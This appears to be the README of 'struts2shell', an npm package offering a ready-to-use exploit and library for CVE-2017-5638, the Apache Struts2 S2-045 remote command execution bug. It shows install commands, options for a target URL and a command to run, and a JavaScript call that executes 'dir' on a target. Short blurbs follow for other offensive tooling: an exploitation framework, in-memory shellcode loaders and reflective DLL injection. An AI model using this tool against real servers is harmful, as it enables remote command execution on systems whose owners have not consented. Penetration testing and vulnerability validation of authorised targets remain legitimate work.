
An exploit (and library) for CVE-2017-5638 - Apache Struts2 S2-045 bug.
An exploit (and library) for CVE-2017-5638 - Apache Struts2 S2-045 bug.
$ npm install -g struts2shell
$ npm install struts2shell
-h, --help output usage information
-V, --version output the version number
-u, --url [target] URL to Attack
-c, --cmd [command] Command to Execute
var Struts2Shell = require('struts2shell');
Struts2Shell({
URL: 'http://example.com/some.action',
CMD: 'dir'
}, function(err, response,body) {
if(err) throw err;
console.log(body)
})

MIT
Free Software, Hell Yeah!

Open-source exploitation framework with modular payload, encoder, and auxiliary system for penetration testing, vulnerability validation, and security research across networks and applications.

Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters

Shellcode implementation of Reflective DLL Injection. Convert DLLs to position independent shellcode